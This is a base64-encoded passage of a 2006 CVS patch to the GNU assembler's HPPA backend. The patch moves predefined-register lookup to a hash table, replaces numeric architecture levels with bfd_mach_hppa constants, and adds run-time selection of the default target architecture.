IGJmZF9tYWNoX2hwcGExMSwgICA0ICsgRlBfUkVHX0JBU0V9LA0KKyAgeyIlZnI0ciIsICBiZmRf
bWFjaF9ocHBhMTEsICAgNCArIEZQX1JFR19CQVNFICsgRlBfUkVHX1JTRUx9LA0KKyAgeyIlZnI1
IiwgICBiZmRfbWFjaF9ocHBhMTAsICAgNSArIEZQX1JFR19CQVNFfSwNCisgIHsiJWZyNWwiLCAg
YmZkX21hY2hfaHBwYTExLCAgIDUgKyBGUF9SRUdfQkFTRX0sDQorICB7IiVmcjVyIiwgIGJmZF9t
YWNoX2hwcGExMSwgICA1ICsgRlBfUkVHX0JBU0UgKyBGUF9SRUdfUlNFTH0sDQorICB7IiVmcjYi
LCAgIGJmZF9tYWNoX2hwcGExMCwgICA2ICsgRlBfUkVHX0JBU0V9LA0KKyAgeyIlZnI2bCIsICBi
ZmRfbWFjaF9ocHBhMTEsICAgNiArIEZQX1JFR19CQVNFfSwNCisgIHsiJWZyNnIiLCAgYmZkX21h
Y2hfaHBwYTExLCAgIDYgKyBGUF9SRUdfQkFTRSArIEZQX1JFR19SU0VMfSwNCisgIHsiJWZyNyIs
ICAgYmZkX21hY2hfaHBwYTEwLCAgIDcgKyBGUF9SRUdfQkFTRX0sDQorICB7IiVmcjdsIiwgIGJm
ZF9tYWNoX2hwcGExMSwgICA3ICsgRlBfUkVHX0JBU0V9LA0KKyAgeyIlZnI3ciIsICBiZmRfbWFj
aF9ocHBhMTEsICAgNyArIEZQX1JFR19CQVNFICsgRlBfUkVHX1JTRUx9LA0KKyAgeyIlZnI4Iiwg
ICBiZmRfbWFjaF9ocHBhMTAsICAgOCArIEZQX1JFR19CQVNFfSwNCisgIHsiJWZyOGwiLCAgYmZk
X21hY2hfaHBwYTExLCAgIDggKyBGUF9SRUdfQkFTRX0sDQorICB7IiVmcjhyIiwgIGJmZF9tYWNo
X2hwcGExMSwgICA4ICsgRlBfUkVHX0JBU0UgKyBGUF9SRUdfUlNFTH0sDQorICB7IiVmcjkiLCAg
IGJmZF9tYWNoX2hwcGExMCwgICA5ICsgRlBfUkVHX0JBU0V9LA0KKyAgeyIlZnI5bCIsICBiZmRf
bWFjaF9ocHBhMTEsICAgOSArIEZQX1JFR19CQVNFfSwNCisgIHsiJWZyOXIiLCAgYmZkX21hY2hf
aHBwYTExLCAgIDkgKyBGUF9SRUdfQkFTRSArIEZQX1JFR19SU0VMfSwNCisgIHsiJWZyZXQiLCAg
YmZkX21hY2hfaHBwYTEwLCAgIDR9LA0KKyAgeyIlaHRhIiwgICBiZmRfbWFjaF9ocHBhMTAsICAy
NX0sDQorICB7IiVpaXIiLCAgIGJmZF9tYWNoX2hwcGExMCwgIDE5fSwNCisgIHsiJWlvciIsICAg
YmZkX21hY2hfaHBwYTEwLCAgMjF9LA0KKyAgeyIlaXBzdyIsICBiZmRfbWFjaF9ocHBhMTAsICAy
Mn0sDQorICB7IiVpc3IiLCAgIGJmZF9tYWNoX2hwcGExMCwgIDIwfSwNCisgIHsiJWl0bXIiLCAg
YmZkX21hY2hfaHBwYTEwLCAgMTZ9LA0KKyAgeyIlaXZhIiwgICBiZmRfbWFjaF9ocHBhMTAsICAx
NH0sDQorICB7IiVtcnAiLCAgIGJmZF9tYWNoX2hwcGEyMHcsICAyfSwNCisgIHsiJW1ycCIsICAg
YmZkX21hY2hfaHBwYTEwLCAgMzF9LA0KKyAgeyIlcGNvcSIsICBiZmRfbWFjaF9ocHBhMTAsICAx
OH0sDQorICB7IiVwY3NxIiwgIGJmZF9tYWNoX2hwcGExMCwgIDE3fSwNCisgIHsiJXBpZHIxIiwg
YmZkX21hY2hfaHBwYTEwLCAgIDh9LA0KKyAgeyIlcGlkcjIiLCBiZmRfbWFjaF9ocHBhMTAsICAg
OX0sDQorICB7IiVwaWRyMyIsIGJmZF9tYWNoX2hwcGExMCwgIDEyfSwNCisgIHsiJXBpZHI0Iiwg
YmZkX21hY2hfaHBwYTEwLCAgMTN9LA0KKyAgeyIlcHBkYSIsICBiZmRfbWFjaF9ocHBhMTAsICAy
NH0sDQorICB7IiVyMCIsICAgIGJmZF9tYWNoX2hwcGExMCwgICAwfSwNCisgIHsiJXIxIiwgICAg
YmZkX21hY2hfaHBwYTEwLCAgIDF9LA0KKyAgeyIlcjEwIiwgICBiZmRfbWFjaF9ocHBhMTAsICAx
MH0sDQorICB7IiVyMTEiLCAgIGJmZF9tYWNoX2hwcGExMCwgIDExfSwNCisgIHsiJXIxMiIsICAg
YmZkX21hY2hfaHBwYTEwLCAgMTJ9LA0KKyAgeyIlcjEzIiwgICBiZmRfbWFjaF9ocHBhMTAsICAx
M30sDQorICB7IiVyMTQiLCAgIGJmZF9tYWNoX2hwcGExMCwgIDE0fSwNCisgIHsiJXIxNSIsICAg
YmZkX21hY2hfaHBwYTEwLCAgMTV9LA0KKyAgeyIlcjE2IiwgICBiZmRfbWFjaF9ocHBhMTAsICAx
Nn0sDQorICB7IiVyMTciLCAgIGJmZF9tYWNoX2hwcGExMCwgIDE3fSwNCisgIHsiJXIxOCIsICAg
YmZkX21hY2hfaHBwYTEwLCAgMTh9LA0KKyAgeyIlcjE5IiwgICBiZmRfbWFjaF9ocHBhMTAsICAx
OX0sDQorICB7IiVyMiIsICAgIGJmZF9tYWNoX2hwcGExMCwgICAyfSwNCisgIHsiJXIyMCIsICAg
YmZkX21hY2hfaHBwYTEwLCAgMjB9LA0KKyAgeyIlcjIxIiwgICBiZmRfbWFjaF9ocHBhMTAsICAy
MX0sDQorICB7IiVyMjIiLCAgIGJmZF9tYWNoX2hwcGExMCwgIDIyfSwNCisgIHsiJXIyMyIsICAg
YmZkX21hY2hfaHBwYTEwLCAgMjN9LA0KKyAgeyIlcjI0IiwgICBiZmRfbWFjaF9ocHBhMTAsICAy
NH0sDQorICB7IiVyMjUiLCAgIGJmZF9tYWNoX2hwcGExMCwgIDI1fSwNCisgIHsiJXIyNiIsICAg
YmZkX21hY2hfaHBwYTEwLCAgMjZ9LA0KKyAgeyIlcjI3IiwgICBiZmRfbWFjaF9ocHBhMTAsICAy
N30sDQorICB7IiVyMjgiLCAgIGJmZF9tYWNoX2hwcGExMCwgIDI4fSwNCisgIHsiJXIyOSIsICAg
YmZkX21hY2hfaHBwYTEwLCAgMjl9LA0KKyAgeyIlcjMiLCAgICBiZmRfbWFjaF9ocHBhMTAsICAg
M30sDQorICB7IiVyMzAiLCAgIGJmZF9tYWNoX2hwcGExMCwgIDMwfSwNCisgIHsiJXIzMSIsICAg
YmZkX21hY2hfaHBwYTEwLCAgMzF9LA0KKyAgeyIlcjQiLCAgICBiZmRfbWFjaF9ocHBhMTAsICAg
NH0sDQorICB7IiVyNSIsICAgIGJmZF9tYWNoX2hwcGExMCwgICA1fSwNCisgIHsiJXI2IiwgICAg
YmZkX21hY2hfaHBwYTEwLCAgIDZ9LA0KKyAgeyIlcjciLCAgICBiZmRfbWFjaF9ocHBhMTAsICAg
N30sDQorICB7IiVyOCIsICAgIGJmZF9tYWNoX2hwcGExMCwgICA4fSwNCisgIHsiJXI5IiwgICAg
YmZkX21hY2hfaHBwYTEwLCAgIDl9LA0KKyAgeyIlcmN0ciIsICBiZmRfbWFjaF9ocHBhMTAsICAg
MH0sDQorICB7IiVyZXQwIiwgIGJmZF9tYWNoX2hwcGExMCwgIDI4fSwNCisgIHsiJXJldDEiLCAg
YmZkX21hY2hfaHBwYTEwLCAgMjl9LA0KKyAgeyIlcnAiLCAgICBiZmRfbWFjaF9ocHBhMTAsICAg
Mn0sDQorICB7IiVzYXIiLCAgIGJmZF9tYWNoX2hwcGExMCwgIDExfSwNCisgIHsiJXNwIiwgICAg
YmZkX21hY2hfaHBwYTEwLCAgMzB9LA0KKyAgeyIlc3IwIiwgICBiZmRfbWFjaF9ocHBhMTAsICAg
MH0sDQorICB7IiVzcjEiLCAgIGJmZF9tYWNoX2hwcGExMCwgICAxfSwNCisgIHsiJXNyMiIsICAg
YmZkX21hY2hfaHBwYTEwLCAgIDJ9LA0KKyAgeyIlc3IzIiwgICBiZmRfbWFjaF9ocHBhMTAsICAg
M30sDQorICB7IiVzcjQiLCAgIGJmZF9tYWNoX2hwcGExMCwgICA0fSwNCisgIHsiJXNyNSIsICAg
YmZkX21hY2hfaHBwYTEwLCAgIDV9LA0KKyAgeyIlc3I2IiwgICBiZmRfbWFjaF9ocHBhMTAsICAg
Nn0sDQorICB7IiVzcjciLCAgIGJmZF9tYWNoX2hwcGExMCwgICA3fSwNCisgIHsiJXQxIiwgICAg
YmZkX21hY2hfaHBwYTEwLCAgMjJ9LA0KKyAgeyIldDIiLCAgICBiZmRfbWFjaF9ocHBhMTAsICAy
MX0sDQorICB7IiV0MyIsICAgIGJmZF9tYWNoX2hwcGExMCwgIDIwfSwNCisgIHsiJXQ0IiwgICAg
YmZkX21hY2hfaHBwYTEwLCAgMTl9LA0KKyAgeyIldGYxIiwgICBiZmRfbWFjaF9ocHBhMTAsICAx
MX0sDQorICB7IiV0ZjIiLCAgIGJmZF9tYWNoX2hwcGExMCwgIDEwfSwNCisgIHsiJXRmMyIsICAg
YmZkX21hY2hfaHBwYTEwLCAgIDl9LA0KKyAgeyIldGY0IiwgICBiZmRfbWFjaF9ocHBhMTAsICAg
OH0sDQorICB7IiV0cjAiLCAgIGJmZF9tYWNoX2hwcGExMCwgIDI0fSwNCisgIHsiJXRyMSIsICAg
YmZkX21hY2hfaHBwYTEwLCAgMjV9LA0KKyAgeyIldHIyIiwgICBiZmRfbWFjaF9ocHBhMTAsICAy
Nn0sDQorICB7IiV0cjMiLCAgIGJmZF9tYWNoX2hwcGExMCwgIDI3fSwNCisgIHsiJXRyNCIsICAg
YmZkX21hY2hfaHBwYTEwLCAgMjh9LA0KKyAgeyIldHI1IiwgICBiZmRfbWFjaF9ocHBhMTAsICAy
OX0sDQorICB7IiV0cjYiLCAgIGJmZF9tYWNoX2hwcGExMCwgIDMwfSwNCisgIHsiJXRyNyIsICAg
YmZkX21hY2hfaHBwYTEwLCAgMzF9DQogfTsNCiANCisvKiBIYXNoIHRhYmxlIGZvciByZWdpc3Rl
ciBsb29rdXAuICovDQorc3RhdGljIHN0cnVjdCBoYXNoX2NvbnRyb2wgKnJlZ19oYXNoOw0KKw0K
IC8qIFRoaXMgdGFibGUgaXMgc29ydGVkIGJ5IG9yZGVyIG9mIHRoZSBsZW5ndGggb2YgdGhlIHN0
cmluZy4gVGhpcyBpcw0KICAgIHNvIHdlIGNoZWNrIGZvciA8PiBiZWZvcmUgd2UgY2hlY2sgZm9y
IDwuIElmIHdlIGhhZCBhIDw+IGFuZCBjaGVja2VkDQogICAgZm9yIDwgZmlyc3QsIHdlIHdvdWxk
IGdldCBhIGZhbHNlIG1hdGNoLiAgKi8NCkBAIC0yMDMwLDM0ICsyMDQxLDYgQEAgaXNfZW5kX29m
X3N0YXRlbWVudCAodm9pZCkNCiANCiAjZGVmaW5lIFJFR19OQU1FX0NOVAkoc2l6ZW9mIChwcmVf
ZGVmaW5lZF9yZWdpc3RlcnMpIC8gc2l6ZW9mIChzdHJ1Y3QgcGRfcmVnKSkNCiANCi0vKiBHaXZl
biBOQU1FLCBmaW5kIHRoZSByZWdpc3RlciBudW1iZXIgYXNzb2NpYXRlZCB3aXRoIHRoYXQgbmFt
ZSwgcmV0dXJuDQotICAgdGhlIGludGVnZXIgdmFsdWUgYXNzb2NpYXRlZCB3aXRoIHRoZSBnaXZl
biBuYW1lIG9yIC0xIG9uIGZhaWx1cmUuICAqLw0KLQ0KLXN0YXRpYyBpbnQNCi1yZWdfbmFtZV9z
ZWFyY2ggKGNoYXIgKm5hbWUpDQotew0KLSAgaW50IG1pZGRsZSwgbG93LCBoaWdoOw0KLSAgaW50
IGNtcDsNCi0NCi0gIGxvdyA9IDA7DQotICBoaWdoID0gUkVHX05BTUVfQ05UIC0gMTsNCi0NCi0g
IGRvDQotICAgIHsNCi0gICAgICBtaWRkbGUgPSAobG93ICsgaGlnaCkgLyAyOw0KLSAgICAgIGNt
cCA9IHN0cmNhc2VjbXAgKG5hbWUsIHByZV9kZWZpbmVkX3JlZ2lzdGVyc1ttaWRkbGVdLm5hbWUp
Ow0KLSAgICAgIGlmIChjbXAgPCAwKQ0KLQloaWdoID0gbWlkZGxlIC0gMTsNCi0gICAgICBlbHNl
IGlmIChjbXAgPiAwKQ0KLQlsb3cgPSBtaWRkbGUgKyAxOw0KLSAgICAgIGVsc2UNCi0JcmV0dXJu
IHByZV9kZWZpbmVkX3JlZ2lzdGVyc1ttaWRkbGVdLnZhbHVlOw0KLSAgICB9DQotICB3aGlsZSAo
bG93IDw9IGhpZ2gpOw0KLQ0KLSAgcmV0dXJuIC0xOw0KLX0NCi0NCiAvKiBSZWFkIGEgbnVtYmVy
IGZyb20gUy4gIFRoZSBudW1iZXIgbWlnaHQgY29tZSBpbiBvbmUgb2YgbWFueSBmb3JtcywNCiAg
ICB0aGUgbW9zdCBjb21tb24gd2lsbCBiZSBhIGhleCBvciBkZWNpbWFsIGNvbnN0YW50LCBidXQg
aXQgY291bGQgYmUNCiAgICBhIHByZS1kZWZpbmVkIHJlZ2lzdGVyIChZdWshKSwgb3IgYW4gYWJz
b2x1dGUgc3ltYm9sLg0KQEAgLTIwODAsOSArMjA2Myw5IEBAIHBhX3BhcnNlX251bWJlciAoY2hh
ciAqKnMsIGludCBpc19mbG9hdCkNCiAgIGNoYXIgKm5hbWU7DQogICBjaGFyIGM7DQogICBzeW1i
b2xTICpzeW07DQotICBpbnQgc3RhdHVzOw0KICAgY2hhciAqcCA9ICpzOw0KICAgYmZkX2Jvb2xl
YW4gaGF2ZV9wcmVmaXg7DQorICBjb25zdCBzdHJ1Y3QgcGRfcmVnICpyOw0KIA0KICAgLyogU2tp
cCB3aGl0ZXNwYWNlIGJlZm9yZSB0aGUgbnVtYmVyLiAgKi8NCiAgIHdoaWxlICgqcCA9PSAnICcg
fHwgKnAgPT0gJ1x0JykNCkBAIC0yMTg4LDkgKzIxNzEsOSBAQCBwYV9wYXJzZV9udW1iZXIgKGNo
YXIgKipzLCBpbnQgaXNfZmxvYXQpDQogCSAgICAgIGMgPSAqcDsNCiAJICAgIH0NCiAJICAqcCA9
IDA7DQotCSAgc3RhdHVzID0gcmVnX25hbWVfc2VhcmNoIChuYW1lKTsNCi0JICBpZiAoc3RhdHVz
ID49IDApDQotCSAgICBudW0gPSBzdGF0dXM7DQorCSAgciA9IChjb25zdCBzdHJ1Y3QgcGRfcmVn
ICopIGhhc2hfZmluZCAocmVnX2hhc2gsIG5hbWUpOw0KKwkgIGlmIChyICE9IE5VTEwpDQorCSAg
ICBudW0gPSByLT52YWx1ZTsNCiAJICBlbHNlDQogCSAgICB7DQogCSAgICAgIGlmIChwcmludF9l
cnJvcnMpDQpAQCAtMjI3MSw5ICsyMjU0LDkgQEAgbmVlZF9wYTExX29wY29kZSAodm9pZCkNCiAg
ICAgew0KICAgICAgIC8qIElmIHRoaXMgaW5zdHJ1Y3Rpb24gaXMgc3BlY2lmaWMgdG8gYSBwYXJ0
aWN1bGFyIGFyY2hpdGVjdHVyZSwNCiAJIHRoZW4gc2V0IGEgbmV3IGFyY2hpdGVjdHVyZS4gICov
DQotICAgICAgaWYgKGJmZF9nZXRfbWFjaCAoc3Rkb3V0cHV0KSA8IHBhMTEpDQorICAgICAgaWYg
KGJmZF9nZXRfbWFjaCAoc3Rkb3V0cHV0KSA8IGJmZF9tYWNoX2hwcGExMSkNCiAJew0KLQkgIGlm
ICghYmZkX3NldF9hcmNoX21hY2ggKHN0ZG91dHB1dCwgYmZkX2FyY2hfaHBwYSwgcGExMSkpDQor
CSAgaWYgKCFiZmRfc2V0X2FyY2hfbWFjaCAoc3Rkb3V0cHV0LCBiZmRfYXJjaF9ocHBhLCBiZmRf
bWFjaF9ocHBhMTEpKQ0KIAkgICAgYXNfd2FybiAoXygiY291bGQgbm90IHVwZGF0ZSBhcmNoaXRl
Y3R1cmUgYW5kIG1hY2hpbmUiKSk7DQogCX0NCiAgICAgICByZXR1cm4gVFJVRTsNCkBAIC0zMjgz
LDcgKzMyNjYsNyBAQCBwYV9pcCAoY2hhciAqc3RyKQ0KIA0KICAgICAgIHRoZV9pbnNuLnJlbG9j
ID0gUl9IUFBBX05PTkU7DQogDQotICAgICAgaWYgKGluc24tPmFyY2ggPj0gcGEyMA0KKyAgICAg
IGlmIChpbnNuLT5hcmNoID49IGJmZF9tYWNoX2hwcGEyMA0KIAkgICYmIGJmZF9nZXRfbWFjaCAo
c3Rkb3V0cHV0KSA8IGluc24tPmFyY2gpDQogCWdvdG8gZmFpbGVkOw0KIA0KQEAgLTQ3MTQsNyAr
NDY5Nyw3IEBAIHBhX2lwIChjaGFyICpzdHIpDQogDQogCSAgICAvKiBIYW5kbGUgMTQgYml0IGlt
bWVkaWF0ZSwgc2hpZnRlZCBsZWZ0IHRocmVlIHRpbWVzLiAgKi8NCiAJICAgIGNhc2UgJyMnOg0K
LQkgICAgICBpZiAoYmZkX2dldF9tYWNoIChzdGRvdXRwdXQpICE9IHBhMjApDQorCSAgICAgIGlm
IChiZmRfZ2V0X21hY2ggKHN0ZG91dHB1dCkgIT0gYmZkX21hY2hfaHBwYTIwKQ0KIAkJYnJlYWs7
DQogCSAgICAgIHRoZV9pbnNuLmZpZWxkX3NlbGVjdG9yID0gcGFfY2hrX2ZpZWxkX3NlbGVjdG9y
ICgmcyk7DQogCSAgICAgIGdldF9leHByZXNzaW9uIChzKTsNCkBAIC02ODM0LDI1ICs2ODE3LDI1
IEBAIHBhX2xldmVsIChpbnQgdW51c2VkIEFUVFJJQlVURV9VTlVTRUQpDQogICBpZiAoc3RybmNt
cCAobGV2ZWwsICIxLjAiLCAzKSA9PSAwKQ0KICAgICB7DQogICAgICAgaW5wdXRfbGluZV9wb2lu
dGVyICs9IDM7DQotICAgICAgaWYgKCFiZmRfc2V0X2FyY2hfbWFjaCAoc3Rkb3V0cHV0LCBiZmRf
YXJjaF9ocHBhLCAxMCkpDQorICAgICAgaWYgKCFiZmRfc2V0X2FyY2hfbWFjaCAoc3Rkb3V0cHV0
LCBiZmRfYXJjaF9ocHBhLCBiZmRfbWFjaF9ocHBhMTApKQ0KIAlhc193YXJuIChfKCJjb3VsZCBu
b3Qgc2V0IGFyY2hpdGVjdHVyZSBhbmQgbWFjaGluZSIpKTsNCiAgICAgfQ0KICAgZWxzZSBpZiAo
c3RybmNtcCAobGV2ZWwsICIxLjEiLCAzKSA9PSAwKQ0KICAgICB7DQogICAgICAgaW5wdXRfbGlu
ZV9wb2ludGVyICs9IDM7DQotICAgICAgaWYgKCFiZmRfc2V0X2FyY2hfbWFjaCAoc3Rkb3V0cHV0
LCBiZmRfYXJjaF9ocHBhLCAxMSkpDQorICAgICAgaWYgKCFiZmRfc2V0X2FyY2hfbWFjaCAoc3Rk
b3V0cHV0LCBiZmRfYXJjaF9ocHBhLCBiZmRfbWFjaF9ocHBhMTEpKQ0KIAlhc193YXJuIChfKCJj
b3VsZCBub3Qgc2V0IGFyY2hpdGVjdHVyZSBhbmQgbWFjaGluZSIpKTsNCiAgICAgfQ0KICAgZWxz
ZSBpZiAoc3RybmNtcCAobGV2ZWwsICIyLjB3IiwgNCkgPT0gMCkNCiAgICAgew0KICAgICAgIGlu
cHV0X2xpbmVfcG9pbnRlciArPSA0Ow0KLSAgICAgIGlmICghYmZkX3NldF9hcmNoX21hY2ggKHN0
ZG91dHB1dCwgYmZkX2FyY2hfaHBwYSwgMjUpKQ0KKyAgICAgIGlmICghYmZkX3NldF9hcmNoX21h
Y2ggKHN0ZG91dHB1dCwgYmZkX2FyY2hfaHBwYSwgYmZkX21hY2hfaHBwYTIwdykpDQogCWFzX3dh
cm4gKF8oImNvdWxkIG5vdCBzZXQgYXJjaGl0ZWN0dXJlIGFuZCBtYWNoaW5lIikpOw0KICAgICB9
DQogICBlbHNlIGlmIChzdHJuY21wIChsZXZlbCwgIjIuMCIsIDMpID09IDApDQogICAgIHsNCiAg
ICAgICBpbnB1dF9saW5lX3BvaW50ZXIgKz0gMzsNCi0gICAgICBpZiAoIWJmZF9zZXRfYXJjaF9t
YWNoIChzdGRvdXRwdXQsIGJmZF9hcmNoX2hwcGEsIDIwKSkNCisgICAgICBpZiAoIWJmZF9zZXRf
YXJjaF9tYWNoIChzdGRvdXRwdXQsIGJmZF9hcmNoX2hwcGEsIGJmZF9tYWNoX2hwcGEyMCkpDQog
CWFzX3dhcm4gKF8oImNvdWxkIG5vdCBzZXQgYXJjaGl0ZWN0dXJlIGFuZCBtYWNoaW5lIikpOw0K
ICAgICB9DQogICBlbHNlDQpAQCAtODI1OSw3ICs4MjQyLDcgQEAgbWRfYmVnaW4gKHZvaWQpDQog
ICBjYWxsX2luZm9fcm9vdCA9IE5VTEw7DQogDQogICAvKiBTZXQgdGhlIGRlZmF1bHQgbWFjaGlu
ZSB0eXBlLiAgKi8NCi0gIGlmICghYmZkX3NldF9hcmNoX21hY2ggKHN0ZG91dHB1dCwgYmZkX2Fy
Y2hfaHBwYSwgREVGQVVMVF9MRVZFTCkpDQorICBpZiAoIWJmZF9zZXRfYXJjaF9tYWNoIChzdGRv
dXRwdXQsIGJmZF9hcmNoX2hwcGEsIGJmZF9tYWNoKSkNCiAgICAgYXNfd2FybiAoXygiY291bGQg
bm90IHNldCBhcmNoaXRlY3R1cmUgYW5kIG1hY2hpbmUiKSk7DQogDQogICAvKiBGb2xkaW5nIG9m
IHRleHQgYW5kIGRhdGEgc2VnbWVudHMgZmFpbHMgbWlzZXJhYmx5IG9uIHRoZSBQQS4NCkBAIC04
NTgwLDYgKzg1NjMsODQgQEAgcGFfdnRhYmxlX2VudHJ5IChpbnQgaWdub3JlIEFUVFJJQlVURV9V
Tg0KIH0NCiANCiBzdGF0aWMgdm9pZA0KK2luaXRfZGVmYXVsdF9hcmNoICgpDQorew0KKy8qIENh
bm5vdCBtYWtlIGJvdGggYXZhaWxhYmxlIHVudGlsIGJmZCBpcyBtZXJnZWQgKi8NCisjaWYgVEFS
R0VUX0FSQ0hfU0laRSA9PSA2NA0KKyAgaWYgKHN0cmNtcCAoZGVmYXVsdF9hcmNoLCAiaHBwYTY0
IikgPT0gMCkNCisgICAgew0KKyAgICAgIC8qIEhvdyB0byBnZW5lcmF0ZSBhIHJlbG9jYXRpb24u
ICAqLw0KKyAgICAgIGhwcGFfZ2VuX3JlbG9jX3R5cGUgPSBfYmZkX2VsZjY0X2hwcGFfZ2VuX3Jl
bG9jX3R5cGU7DQorICAgICAgZWxmX2hwcGFfcmVsb2NfZmluYWxfdHlwZSA9IGVsZjY0X2hwcGFf
cmVsb2NfZmluYWxfdHlwZTsNCisgICAgICBocHBhX2FyY2hfc2l6ZSA9IDY0Ow0KKyAgICAgIGJm
ZF9tYWNoID0gYmZkX21hY2hfaHBwYTIwdzsNCisgICAgfSBlbHNlDQorI2Vsc2UNCisgIGlmIChz
dHJjbXAgKGRlZmF1bHRfYXJjaCwgImhwcGEiKSA9PSAwKQ0KKyAgICB7DQorICAgICAgLyogSG93
IHRvIGdlbmVyYXRlIGEgcmVsb2NhdGlvbi4gICovDQorICAgICAgaHBwYV9nZW5fcmVsb2NfdHlw
ZSA9IF9iZmRfZWxmMzJfaHBwYV9nZW5fcmVsb2NfdHlwZTsNCisgICAgICBlbGZfaHBwYV9yZWxv
Y19maW5hbF90eXBlID0gZWxmMzJfaHBwYV9yZWxvY19maW5hbF90eXBlOw0KKyAgICAgIGhwcGFf
YXJjaF9zaXplID0gMzI7DQorICAgICAgYmZkX21hY2ggPSBiZmRfbWFjaF9ocHBhMTA7DQorICAg
IH0gZWxzZQ0KKyNlbmRpZg0KKyAgICBhc19mYXRhbCAoIkludmFsaWQgZGVmYXVsdCBhcmNoaXRl
Y3R1cmUsIGJyb2tlbiBhc3NlbWJsZXIuIik7DQorDQorICBzZXR1cF9yZWdfaGFzaCgpOw0KK30N
CisNCitzdGF0aWMgdm9pZA0KK3NldHVwX3JlZ19oYXNoKCkNCit7DQorICAvKiBJbml0aWFsaXpl
IHJlZ19oYXNoIGhhc2ggdGFibGUgKi8NCisgIHJlZ19oYXNoID0gaGFzaF9uZXcgKCk7DQorDQor
ICBjb25zdCBzdHJ1Y3QgcGRfcmVnICpyZWdfZW50cnk7DQorDQorICBmb3IgKHJlZ19lbnRyeSA9
IHByZV9kZWZpbmVkX3JlZ2lzdGVyczsNCisgICAgICAgcmVnX2VudHJ5IDwgcHJlX2RlZmluZWRf
cmVnaXN0ZXJzICsgUkVHX05BTUVfQ05UOw0KKyAgICAgICByZWdfZW50cnkrKykNCisgICAgew0K
KyAgICAgIGlmIChyZWdfZW50cnktPm1hY2ggPiBiZmRfbWFjaCkNCisgICAgICAgIGNvbnRpbnVl
Ow0KKw0KKyAgICAgIC8qIFdlIGludGVudGlvbmFsbHkgZG9uJ3QgY2hlY2sgdGhlIHJldHVybiBz
dGF0dXMgaGVyZS4gIEJlY2F1c2UNCisgICAgICAgICB3aXRoIG9uZSBleGNlcHRpb24sIHRoZSBo
cHBhNjQgYW5kIGhwcGEzMiBzZXRzIGFyZSB0aGUgc2FtZSwNCisJIHdlIG1ha2Ugc3VyZSB0aGF0
IHdlIHdpbGwgc2VlIHRoZSBocHBhNjQgb3BzIGZpcnN0IGlmIHdlJ3JlDQorCSB3aWxsaW5nIHRv
IHRha2UgdGhlbSwgYW5kIGp1c3QgZmF1bHQgb24gdGhlIHNlY29uZCBpbnNlcnQuICovDQorICAg
ICAgaGFzaF9pbnNlcnQgKHJlZ19oYXNoLCByZWdfZW50cnktPm5hbWUsIChQVFIpIHJlZ19lbnRy
eSk7DQorICAgIH0NCit9DQorDQordm9pZA0KK2hwcGFfcHJpbnRfc3RhdGlzdGljcyAoRklMRSAq
ZmlsZSkNCit7DQorICBoYXNoX3ByaW50X3N0YXRpc3RpY3MgKGZpbGUsICJocHBhIG9wY29kZSIs
IG9wX2hhc2gpOw0KKyAgaGFzaF9wcmludF9zdGF0aXN0aWNzIChmaWxlLCAiaHBwYSByZWdpc3Rl
ciIsIHJlZ19oYXNoKTsNCit9DQorDQorLyogQ2FsbGVkIGJ5IFRBUkdFVF9GT1JNQVQgKi8NCitj
b25zdCBjaGFyICoNCitocHBhX3RhcmdldF9mb3JtYXQgKCkNCit7DQorICAvKiBXZSBkb24ndCBn
ZXQgYSBjaGFuY2UgdG8gaW5pdGlhbGl6ZSBhbnl0aGluZyBiZWZvcmUgd2UncmUgY2FsbGVkLA0K
KyAgICAgc28gaGFuZGxlIHRoYXQgbm93LiAgKi8NCisNCisgIGluaXRfZGVmYXVsdF9hcmNoICgp
Ow0KKw0KKyNpZmRlZiBPQkpfRUxGDQorICByZXR1cm4gaHBwYV9hcmNoX3NpemUgPT0gNjQgPyBF
TEY2NF9UQVJHRVRfRk9STUFUIDogRUxGX1RBUkdFVF9GT1JNQVQ7DQorI2VuZGlmDQorDQorI2lm
ZGVmIE9CSl9TT00NCisgIHJldHVybiAic29tIjsNCisjZW5kaWYNCisNCisgIGFib3J0ICgpOw0K
K30NCisNCitzdGF0aWMgdm9pZA0KIHBhX3Z0YWJsZV9pbmhlcml0IChpbnQgaWdub3JlIEFUVFJJ
QlVURV9VTlVTRUQpDQogew0KICAgc3RydWN0IGZpeCAqbmV3X2ZpeDsNCkluZGV4OiBjb25maWcv
dGMtaHBwYS5oDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09DQpSQ1MgZmlsZTogL2N2cy9zcmMvc3JjL2dhcy9jb25maWcv
dGMtaHBwYS5oLHYNCnJldHJpZXZpbmcgcmV2aXNpb24gMS4zMQ0KZGlmZiAtdSAtcCAtcjEuMzEg
dGMtaHBwYS5oDQotLS0gY29uZmlnL3RjLWhwcGEuaAkyNCBNYXkgMjAwNiAxMTowNTo0MiAtMDAw
MAkxLjMxDQorKysgY29uZmlnL3RjLWhwcGEuaAkyMyBPY3QgMjAwNiAwMzoxMTozNCAtMDAwMA0K
QEAgLTQ2LDMyICs0Niw0MiBAQA0KICNkZWZpbmUgV09SS0lOR19ET1RfV09SRA0KIA0KICNpZmRl
ZiBPQkpfRUxGDQotI2lmIFRBUkdFVF9BUkNIX1NJWkUgPT0gNjQNCi0jaW5jbHVkZSAiYmZkL2Vs
ZjY0LWhwcGEuaCINCi0jaWYgZGVmaW5lZCAoVEVfTElOVVgpIHx8IGRlZmluZWQgKFRFX05ldEJT
RCkNCi0jZGVmaW5lIFRBUkdFVF9GT1JNQVQgImVsZjY0LWhwcGEtbGludXgiDQotI2Vsc2UNCi0j
ZGVmaW5lIFRBUkdFVF9GT1JNQVQgImVsZjY0LWhwcGEiDQotI2VuZGlmDQotI2Vsc2UgLyogVEFS
R0VUX0FSQ0hfU0laRSA9PSAzMiAqLw0KLSNpbmNsdWRlICJiZmQvZWxmMzItaHBwYS5oIg0KLSNp
ZiBkZWZpbmVkIChURV9MSU5VWCkNCi0jZGVmaW5lIFRBUkdFVF9GT1JNQVQgImVsZjMyLWhwcGEt
bGludXgiDQotI2Vsc2UNCi0jaWYgZGVmaW5lZCAoVEVfTmV0QlNEKQ0KLSNkZWZpbmUgVEFSR0VU
X0ZPUk1BVCAiZWxmMzItaHBwYS1uZXRic2QiDQotI2Vsc2UNCi0jZGVmaW5lIFRBUkdFVF9GT1JN
QVQgImVsZjMyLWhwcGEiDQotI2VuZGlmDQotI2VuZGlmDQotI2VuZGlmDQotI2VuZGlmDQorLyog
Q2Fubm90IG1ha2UgdGhpcyBydW50aW1lIHNlbGVjdGFibGUgdW50aWwgYmZkIGlzIG1lcmdlZCAq
